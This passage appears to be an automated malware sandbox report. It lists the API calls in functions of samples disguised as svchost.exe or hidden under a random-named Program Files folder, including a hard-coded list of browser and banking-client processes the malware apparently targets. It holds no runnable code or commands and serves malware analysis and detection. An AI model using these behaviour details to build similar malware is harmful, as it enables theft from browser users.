Source: C:\Windows\apppatch\svchost.exeCode function: SHGetFolderPathA,PathAddBackslashA,GetModuleFileNameA,StrStrIA,GetCommandLineA,GetCommandLineW,InitializeCriticalSection,InitializeCriticalSection,CreateMutexA,IsUserAnAdmin,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,InitializeCriticalSection,CreateThread,GetHandleInformation,FindCloseChangeNotification,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,GetProcessHeap,GetProcessHeap,HeapValidate,GetProcessHeap,HeapFree,GetModuleHandleA,GetModuleHandleA,GetProcAddress,GetProcAddress,GetCurrentProcess,IsUserAnAdmin,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,CreateThread,CreateThread,GetHandleInformation,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,GetModuleHandleA,GetProcAddress,StrStrIA,GetCurrentProcessId,GetCurrentThreadId,GetThreadDesktop,GetUserObjectInformationA,lstrcmpiA,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle, \chrome.exe2_2_02D167D0
Source: C:\Windows\apppatch\svchost.exeCode function: SHGetFolderPathA,PathAddBackslashA,GetModuleFileNameA,StrStrIA,GetCommandLineA,GetCommandLineW,InitializeCriticalSection,InitializeCriticalSection,CreateMutexA,IsUserAnAdmin,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,InitializeCriticalSection,CreateThread,GetHandleInformation,FindCloseChangeNotification,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,GetProcessHeap,GetProcessHeap,HeapValidate,GetProcessHeap,HeapFree,GetModuleHandleA,GetModuleHandleA,GetProcAddress,GetProcAddress,GetCurrentProcess,IsUserAnAdmin,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,CreateThread,CreateThread,GetHandleInformation,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,GetModuleHandleA,GetProcAddress,StrStrIA,GetCurrentProcessId,GetCurrentThreadId,GetThreadDesktop,GetUserObjectInformationA,lstrcmpiA,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle, \chrome.exe2_2_02D167D0
Source: C:\Windows\apppatch\svchost.exeCode function: GetCommandLineA,StrStrIA,memset,IsUserAnAdmin,LoadLibraryExA,GetProcAddress,GetProcessHeap,GetProcessHeap,HeapValidate,GetProcessHeap,HeapFree,strstr,strstr,GetProcessHeap,GetProcessHeap,HeapValidate,GetProcessHeap,HeapFree, \iexplore.exe2_2_02D11660
Source: C:\Windows\apppatch\svchost.exeCode function: memset,GetModuleFileNameA,InitializeCriticalSection,GetModuleHandleA,GetModuleHandleA,GetProcAddress,GetProcAddress,GetCurrentProcess,IsUserAnAdmin,StrStrIA,GetModuleHandleA,GetProcAddress,GetCurrentProcess,IsUserAnAdmin,IsUserAnAdmin,PathFindFileNameA,StrStrIA,IsUserAnAdmin,StrStrIA,IsUserAnAdmin,StrStrIA, iexplore.exe|opera.exe|java.exe|javaw.exe|explorer.exe|isclient.exe|intpro.exe|ipc_full.exe|mnp.exe|cbsmain.dll|firefox.exe|clmain.exe|core.exe|maxthon.exe|avant.exe|safari.exe|svchost.exe|chrome.exe|notepad.exe|rundll32.exe|netscape.exe|tbb-firefox.exe|frd.ex2_2_02D037E0
Source: C:\Windows\apppatch\svchost.exeCode function: memset,GetModuleFileNameA,InitializeCriticalSection,GetModuleHandleA,GetModuleHandleA,GetProcAddress,GetProcAddress,GetCurrentProcess,IsUserAnAdmin,StrStrIA,GetModuleHandleA,GetProcAddress,GetCurrentProcess,IsUserAnAdmin,IsUserAnAdmin,PathFindFileNameA,StrStrIA,IsUserAnAdmin,StrStrIA,IsUserAnAdmin,StrStrIA, iexplore.exe|opera.exe|java.exe|javaw.exe|explorer.exe|isclient.exe|intpro.exe|ipc_full.exe|mnp.exe|cbsmain.dll|firefox.exe|clmain.exe|core.exe|maxthon.exe|avant.exe|safari.exe|svchost.exe|chrome.exe|notepad.exe|rundll32.exe|netscape.exe|tbb-firefox.exe|frd.ex2_2_02D037E0
Source: C:\Windows\apppatch\svchost.exeCode function: memset,GetModuleFileNameA,InitializeCriticalSection,GetModuleHandleA,GetModuleHandleA,GetProcAddress,GetProcAddress,GetCurrentProcess,IsUserAnAdmin,StrStrIA,GetModuleHandleA,GetProcAddress,GetCurrentProcess,IsUserAnAdmin,IsUserAnAdmin,PathFindFileNameA,StrStrIA,IsUserAnAdmin,StrStrIA,IsUserAnAdmin,StrStrIA, iexplore.exe|opera.exe|java.exe|javaw.exe|explorer.exe|isclient.exe|intpro.exe|ipc_full.exe|mnp.exe|cbsmain.dll|firefox.exe|clmain.exe|core.exe|maxthon.exe|avant.exe|safari.exe|svchost.exe|chrome.exe|notepad.exe|rundll32.exe|netscape.exe|tbb-firefox.exe|frd.ex2_2_02D037E0
Source: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exeCode function: CreateToolhelp32Snapshot,Process32First,EnterCriticalSection,GetCurrentProcessId,StrStrIA,EnterCriticalSection,GetProcessHeap,HeapAlloc,LeaveCriticalSection,Process32Next,GetHandleInformation,CloseHandle, iexplore.exe|opera.exe|java.exe|javaw.exe|explorer.exe|isclient.exe|intpro.exe|ipc_full.exe|mnp.exe|cbsmain.dll|firefox.exe|clmain.exe|core.exe|maxthon.exe|avant.exe|safari.exe|svchost.exe|chrome.exe|notepad.exe|rundll32.exe|netscape.exe|tbb-firefox.exe|frd.ex4_2_012F7300
Source: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exeCode function: CreateToolhelp32Snapshot,Process32First,EnterCriticalSection,GetCurrentProcessId,StrStrIA,EnterCriticalSection,GetProcessHeap,HeapAlloc,LeaveCriticalSection,Process32Next,GetHandleInformation,CloseHandle, iexplore.exe|opera.exe|java.exe|javaw.exe|explorer.exe|isclient.exe|intpro.exe|ipc_full.exe|mnp.exe|cbsmain.dll|firefox.exe|clmain.exe|core.exe|maxthon.exe|avant.exe|safari.exe|svchost.exe|chrome.exe|notepad.exe|rundll32.exe|netscape.exe|tbb-firefox.exe|frd.ex4_2_012F7300
Source: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exeCode function: CreateToolhelp32Snapshot,Process32First,EnterCriticalSection,GetCurrentProcessId,StrStrIA,EnterCriticalSection,GetProcessHeap,HeapAlloc,LeaveCriticalSection,Process32Next,GetHandleInformation,CloseHandle, iexplore.exe|opera.exe|java.exe|javaw.exe|explorer.exe|isclient.exe|intpro.exe|ipc_full.exe|mnp.exe|cbsmain.dll|firefox.exe|clmain.exe|core.exe|maxthon.exe|avant.exe|safari.exe|svchost.exe|chrome.exe|notepad.exe|rundll32.exe|netscape.exe|tbb-firefox.exe|frd.ex4_2_012F7300
Source: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exeCode function: SHGetFolderPathA,PathAddBackslashA,GetModuleFileNameA,StrStrIA,GetCommandLineA,GetCommandLineW,InitializeCriticalSection,InitializeCriticalSection,CreateMutexA,CreateThread,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,InitializeCriticalSection,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,GetProcessHeap,GetProcessHeap,HeapValidate,GetProcessHeap,HeapFree,GetModuleHandleA,GetModuleHandleA,GetProcAddress,GetProcAddress,GetCurrentProcess,#680,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,CreateThread,CreateThread,GetHandleInformation,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,GetModuleHandleA,GetProcAddress,StrStrIA,GetCurrentProcessId,GetCurrentThreadId,GetThreadDesktop,GetUserObjectInformationA,lstrcmpiA,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle, \chrome.exe4_2_012F67D0
Source: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exeCode function: SHGetFolderPathA,PathAddBackslashA,GetModuleFileNameA,StrStrIA,GetCommandLineA,GetCommandLineW,InitializeCriticalSection,InitializeCriticalSection,CreateMutexA,CreateThread,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,InitializeCriticalSection,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,GetProcessHeap,GetProcessHeap,HeapValidate,GetProcessHeap,HeapFree,GetModuleHandleA,GetModuleHandleA,GetProcAddress,GetProcAddress,GetCurrentProcess,#680,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,CreateThread,CreateThread,GetHandleInformation,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,GetModuleHandleA,GetProcAddress,StrStrIA,GetCurrentProcessId,GetCurrentThreadId,GetThreadDesktop,GetUserObjectInformationA,lstrcmpiA,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle, \iexplore.exe4_2_012F67D0
Source: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exeCode function: SHGetFolderPathA,PathAddBackslashA,GetModuleFileNameA,StrStrIA,GetCommandLineA,GetCommandLineW,InitializeCriticalSection,InitializeCriticalSection,CreateMutexA,CreateThread,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,InitializeCriticalSection,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,GetProcessHeap,GetProcessHeap,HeapValidate,GetProcessHeap,HeapFree,GetModuleHandleA,GetModuleHandleA,GetProcAddress,GetProcAddress,GetCurrentProcess,#680,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,CreateThread,CreateThread,GetHandleInformation,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,GetModuleHandleA,GetProcAddress,StrStrIA,GetCurrentProcessId,GetCurrentThreadId,GetThreadDesktop,GetUserObjectInformationA,lstrcmpiA,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle, \firefox.exe4_2_012F67D0
Source: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exeCode function: SHGetFolderPathA,PathAddBackslashA,GetModuleFileNameA,StrStrIA,GetCommandLineA,GetCommandLineW,InitializeCriticalSection,InitializeCriticalSection,CreateMutexA,CreateThread,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,InitializeCriticalSection,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,GetProcessHeap,GetProcessHeap,HeapValidate,GetProcessHeap,HeapFree,GetModuleHandleA,GetModuleHandleA,GetProcAddress,GetProcAddress,GetCurrentProcess,#680,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,CreateThread,CreateThread,GetHandleInformation,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,GetModuleHandleA,GetProcAddress,StrStrIA,GetCurrentProcessId,GetCurrentThreadId,GetThreadDesktop,GetUserObjectInformationA,lstrcmpiA,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle, \tbb-firefox.exe4_2_012F67D0
Source: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exeCode function: SHGetFolderPathA,PathAddBackslashA,GetModuleFileNameA,StrStrIA,GetCommandLineA,GetCommandLineW,InitializeCriticalSection,InitializeCriticalSection,CreateMutexA,CreateThread,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,InitializeCriticalSection,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,GetProcessHeap,GetProcessHeap,HeapValidate,GetProcessHeap,HeapFree,GetModuleHandleA,GetModuleHandleA,GetProcAddress,GetProcAddress,GetCurrentProcess,#680,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,CreateThread,CreateThread,GetHandleInformation,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,GetModuleHandleA,GetProcAddress,StrStrIA,GetCurrentProcessId,GetCurrentThreadId,GetThreadDesktop,GetUserObjectInformationA,lstrcmpiA,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle, \chrome.exe4_2_012F67D0
Source: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exeCode function: SHGetFolderPathA,PathAddBackslashA,GetModuleFileNameA,StrStrIA,GetCommandLineA,GetCommandLineW,InitializeCriticalSection,InitializeCriticalSection,CreateMutexA,CreateThread,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,InitializeCriticalSection,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,GetProcessHeap,GetProcessHeap,HeapValidate,GetProcessHeap,HeapFree,GetModuleHandleA,GetModuleHandleA,GetProcAddress,GetProcAddress,GetCurrentProcess,#680,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,CreateThread,CreateThread,GetHandleInformation,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,GetModuleHandleA,GetProcAddress,StrStrIA,GetCurrentProcessId,GetCurrentThreadId,GetThreadDesktop,GetUserObjectInformationA,lstrcmpiA,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle, \chrome.exe4_2_012F67D0
Source: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exeCode function: memset,GetModuleFileNameA,InitializeCriticalSection,GetModuleHandleA,GetModuleHandleA,GetProcAddress,GetProcAddress,GetCurrentProcess,#680,StrStrIA,GetModuleHandleA,GetProcAddress,GetCurrentProcess,#680,#680,PathFindFileNameA,StrStrIA,#680,StrStrIA,#680,StrStrIA, iexplore.exe|opera.exe|java.exe|javaw.exe|explorer.exe|isclient.exe|intpro.exe|ipc_full.exe|mnp.exe|cbsmain.dll|firefox.exe|clmain.exe|core.exe|maxthon.exe|avant.exe|safari.exe|svchost.exe|chrome.exe|notepad.exe|rundll32.exe|netscape.exe|tbb-firefox.exe|frd.ex4_2_012E37E0
Source: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exeCode function: memset,GetModuleFileNameA,InitializeCriticalSection,GetModuleHandleA,GetModuleHandleA,GetProcAddress,GetProcAddress,GetCurrentProcess,#680,StrStrIA,GetModuleHandleA,GetProcAddress,GetCurrentProcess,#680,#680,PathFindFileNameA,StrStrIA,#680,StrStrIA,#680,StrStrIA, iexplore.exe|opera.exe|java.exe|javaw.exe|explorer.exe|isclient.exe|intpro.exe|ipc_full.exe|mnp.exe|cbsmain.dll|firefox.exe|clmain.exe|core.exe|maxthon.exe|avant.exe|safari.exe|svchost.exe|chrome.exe|notepad.exe|rundll32.exe|netscape.exe|tbb-firefox.exe|frd.ex4_2_012E37E0
Source: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exeCode function: memset,GetModuleFileNameA,InitializeCriticalSection,GetModuleHandleA,GetModuleHandleA,GetProcAddress,GetProcAddress,GetCurrentProcess,#680,StrStrIA,GetModuleHandleA,GetProcAddress,GetCurrentProcess,#680,#680,PathFindFileNameA,StrStrIA,#680,StrStrIA,#680,StrStrIA, iexplore.exe|opera.exe|java.exe|javaw.exe|explorer.exe|isclient.exe|intpro.exe|ipc_full.exe|mnp.exe|cbsmain.dll|firefox.exe|clmain.exe|core.exe|maxthon.exe|avant.exe|safari.exe|svchost.exe|chrome.exe|notepad.exe|rundll32.exe|netscape.exe|tbb-firefox.exe|frd.ex4_2_012E37E0
Source: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exeCode function: GetCommandLineA,StrStrIA,memset,#680,LoadLibraryExA,GetProcAddress,GetProcessHeap,GetProcessHeap,HeapValidate,GetProcessHeap,HeapFree,strstr,strstr,GetProcessHeap,GetProcessHeap,HeapValidate,GetProcessHeap,HeapFree, \iexplore.exe4_2_012F1660
Source: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exeCode function: CreateToolhelp32Snapshot,Process32First,EnterCriticalSection,GetCurrentProcessId,StrStrIA,EnterCriticalSection,GetProcessHeap,HeapAlloc,LeaveCriticalSection,Process32Next,GetHandleInformation,CloseHandle, iexplore.exe|opera.exe|java.exe|javaw.exe|explorer.exe|isclient.exe|intpro.exe|ipc_full.exe|mnp.exe|cbsmain.dll|firefox.exe|clmain.exe|core.exe|maxthon.exe|avant.exe|safari.exe|svchost.exe|chrome.exe|notepad.exe|rundll32.exe|netscape.exe|tbb-firefox.exe|frd.ex5_2_00E47300
Source: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exeCode function: CreateToolhelp32Snapshot,Process32First,EnterCriticalSection,GetCurrentProcessId,StrStrIA,EnterCriticalSection,GetProcessHeap,HeapAlloc,LeaveCriticalSection,Process32Next,GetHandleInformation,CloseHandle, iexplore.exe|opera.exe|java.exe|javaw.exe|explorer.exe|isclient.exe|intpro.exe|ipc_full.exe|mnp.exe|cbsmain.dll|firefox.exe|clmain.exe|core.exe|maxthon.exe|avant.exe|safari.exe|svchost.exe|chrome.exe|notepad.exe|rundll32.exe|netscape.exe|tbb-firefox.exe|frd.ex5_2_00E47300
Source: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exeCode function: CreateToolhelp32Snapshot,Process32First,EnterCriticalSection,GetCurrentProcessId,StrStrIA,EnterCriticalSection,GetProcessHeap,HeapAlloc,LeaveCriticalSection,Process32Next,GetHandleInformation,CloseHandle, iexplore.exe|opera.exe|java.exe|javaw.exe|explorer.exe|isclient.exe|intpro.exe|ipc_full.exe|mnp.exe|cbsmain.dll|firefox.exe|clmain.exe|core.exe|maxthon.exe|avant.exe|safari.exe|svchost.exe|chrome.exe|notepad.exe|rundll32.exe|netscape.exe|tbb-firefox.exe|frd.ex5_2_00E47300
Source: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exeCode function: SHGetFolderPathA,PathAddBackslashA,GetModuleFileNameA,StrStrIA,GetCommandLineA,GetCommandLineW,InitializeCriticalSection,InitializeCriticalSection,CreateMutexA,CreateThread,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,InitializeCriticalSection,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,GetProcessHeap,GetProcessHeap,HeapValidate,GetProcessHeap,HeapFree,GetModuleHandleA,GetModuleHandleA,GetProcAddress,GetProcAddress,GetCurrentProcess,#680,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,CreateThread,CreateThread,GetHandleInformation,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThre